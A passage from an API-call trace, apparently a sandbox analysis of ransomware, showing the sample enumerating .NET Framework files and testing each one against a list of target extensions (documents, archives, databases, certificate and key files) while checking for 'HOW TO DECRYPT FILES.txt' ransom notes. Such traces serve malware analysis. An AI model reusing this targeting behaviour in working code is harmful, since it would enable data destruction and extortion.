5 [0135.653] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.rar") returned 0 [0135.653] lstrlenA (lpString="*.rar") returned 5 [0135.653] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.zip") returned 0 [0135.653] lstrlenA (lpString="*.zip") returned 5 [0135.653] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.html") returned 0 [0135.653] lstrlenA (lpString="*.html") returned 6 [0135.653] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.htm") returned 0 [0135.653] lstrlenA (lpString="*.htm") returned 5 [0135.654] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.xlsx") returned 0 [0135.654] lstrlenA (lpString="*.xlsx") returned 6 [0135.654] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.xls") returned 0 [0135.654] lstrlenA (lpString="*.xls") returned 5 [0135.654] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.mp4") returned 0 [0135.654] lstrlenA (lpString="*.mp4") returned 5 [0135.654] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.ppt") returned 0 [0135.654] lstrlenA (lpString="*.ppt") returned 5 [0135.654] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.pptx") returned 0 [0135.654] lstrlenA (lpString="*.pptx") returned 6 [0135.654] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.doc") returned 0 [0135.654] lstrlenA (lpString="*.doc") returned 5 [0135.654] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.dot") returned 0 [0135.654] lstrlenA (lpString="*.dot") returned 5 [0135.654] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.docx") returned 0 [0135.654] lstrlenA (lpString="*.docx") returned 6 [0135.654] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.7z") returned 0 [0135.654] lstrlenA (lpString="*.7z") returned 4 [0135.654] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.tar") returned 0 [0135.654] lstrlenA (lpString="*.tar") returned 5 [0135.654] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.bz2") returned 0 [0135.654] lstrlenA (lpString="*.bz2") returned 5 [0135.654] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.gz") returned 0 [0135.655] lstrlenA (lpString="*.gz") returned 4 [0135.655] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.mkv") returned 0 [0135.655] lstrlenA (lpString="*.mkv") returned 5 [0135.655] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.eml") returned 0 [0135.655] lstrlenA (lpString="*.eml") returned 5 [0135.655] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.msg") returned 0 [0135.655] lstrlenA (lpString="*.msg") returned 5 [0135.655] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.edb") returned 0 [0135.655] lstrlenA (lpString="*.edb") returned 5 [0135.655] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.accdb") returned 0 [0135.655] lstrlenA (lpString="*.accdb") returned 7 [0135.655] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.odb") returned 0 [0135.655] lstrlenA (lpString="*.odb") returned 5 [0135.655] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.java") returned 0 [0135.656] lstrlenA (lpString="*.java") returned 6 [0135.656] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.asm") returned 0 [0135.656] lstrlenA (lpString="*.asm") returned 5 [0135.656] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.pfx") returned 0 [0135.656] lstrlenA (lpString="*.pfx") returned 5 [0135.656] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.pem") returned 0 [0135.656] lstrlenA (lpString="*.pem") returned 5 [0135.656] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.p12") returned 0 [0135.656] lstrlenA (lpString="*.p12") returned 5 [0135.656] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.gpg") returned 0 [0135.656] lstrlenA (lpString="*.gpg") returned 5 [0135.656] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.vsd") returned 0 [0135.656] lstrlenA (lpString="*.vsd") returned 5 [0135.658] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa73b96e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfa73b96e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa0b4a5bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x1c814, dwReserved0=0x0, dwReserved1=0x0, cFileName="ksc.nlp", cAlternateFileName="")) returned 1 [0135.658] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.658] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ksc.nlp") returned -1 [0135.658] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ksc.nlp") returned -1 [0135.658] lstrcmpiA (lpString1="", lpString2="ksc.nlp") returned -1 [0135.659] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config") returned="jsc.exe.config" [0135.659] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.659] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.659] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.659] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.659] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="ksc.nlp" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ksc.nlp") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ksc.nlp" [0135.659] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x997ee9b2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x997ee9b2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99814b12, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x55000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Engine.dll", cAlternateFileName="")) returned 1 [0135.659] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.659] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Engine.dll") returned -1 [0135.660] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Engine.dll") returned -1 [0135.660] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Engine.dll") returned -1 [0135.660] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ksc.nlp") returned="ksc.nlp" [0135.660] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.660] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.660] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.661] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.661] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="Microsoft.Build.Engine.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Build.Engine.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Build.Engine.dll" [0135.661] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a30d0af, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a30d0af, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a33320f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Framework.dll", cAlternateFileName="")) returned 1 [0135.661] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.661] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Framework.dll") returned -1 [0135.661] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Framework.dll") returned -1 [0135.661] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Framework.dll") returned -1 [0135.662] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Build.Engine.dll") returned="Microsoft.Build.Engine.dll" [0135.662] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.662] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.662] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.662] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.662] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="Microsoft.Build.Framework.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Build.Framework.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Build.Framework.dll" [0135.662] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a8da65a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a8da65a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9007ba, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Tasks.dll", cAlternateFileName="")) returned 1 [0135.662] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.663] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Tasks.dll") returned -1 [0135.663] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Tasks.dll") returned -1 [0135.663] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Tasks.dll") returned -1 [0135.663] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Build.Framework.dll") returned="Microsoft.Build.Framework.dll" [0135.663] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.663] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.663] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.663] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.663] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="Microsoft.Build.Tasks.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Build.Tasks.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Build.Tasks.dll" [0135.663] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bbe567d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bbe567d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bc0b7dd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Utilities.dll", cAlternateFileName="")) returned 1 [0135.663] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.664] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Utilities.dll") returned -1 [0135.664] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Utilities.dll") returned -1 [0135.664] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Utilities.dll") returned -1 [0135.664] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Build.Tasks.dll") returned="Microsoft.Build.Tasks.dll" [0135.664] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.664] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.664] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.664] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.664] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="Microsoft.Build.Utilities.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Build.Utilities.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Build.Utilities.dll" [0135.664] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf4646cf, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf4646cf, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa2b46d5c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x933, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.xsd", cAlternateFileName="MICROS~1.XSD")) returned 1 [0135.665] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.665] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.xsd") returned -1 [0135.665] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.xsd") returned -1 [0135.665] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.xsd") returned -1 [0135.665] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Build.Utilities.dll") returned="Microsoft.Build.Utilities.dll" [0135.665] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.665] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.665] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.665] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.665] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="Microsoft.Build.xsd" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Build.xsd") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Build.xsd" [0135.666] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfac7096b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfac7096b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa2d5c09c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x2b9e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Common.targets", cAlternateFileName="")) returned 1 [0135.666] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.666] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Common.targets") returned -1 [0135.666] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Common.targets") returned -1 [0135.666] lstrcmpiA (lpString1="", lpString2="Microsoft.Common.targets") returned -1 [0135.666] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Build.xsd") returned="Microsoft.Build.xsd" [0135.666] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.666] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.666] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.666] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.666] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="Microsoft.Common.targets" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Common.targets") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Common.targets" [0135.667] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xface2d88, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xface2d88, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa31d29dc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x1ab6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Common.Tasks", cAlternateFileName="")) returned 1 [0135.667] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.667] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Common.Tasks") returned -1 [0135.667] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Common.Tasks") returned -1 [0135.667] lstrcmpiA (lpString1="", lpString2="Microsoft.Common.Tasks") returned -1 [0135.667] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Common.targets") returned="Microsoft.Common.targets" [0135.667] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.667] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.667] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.667] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.667] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="Microsoft.Common.Tasks" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Common.Tasks") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Microsoft.Common.Tasks" [0135.668] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xface2d88, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xface2d88, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa33758fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x24a5, dwReserved0=0x0, 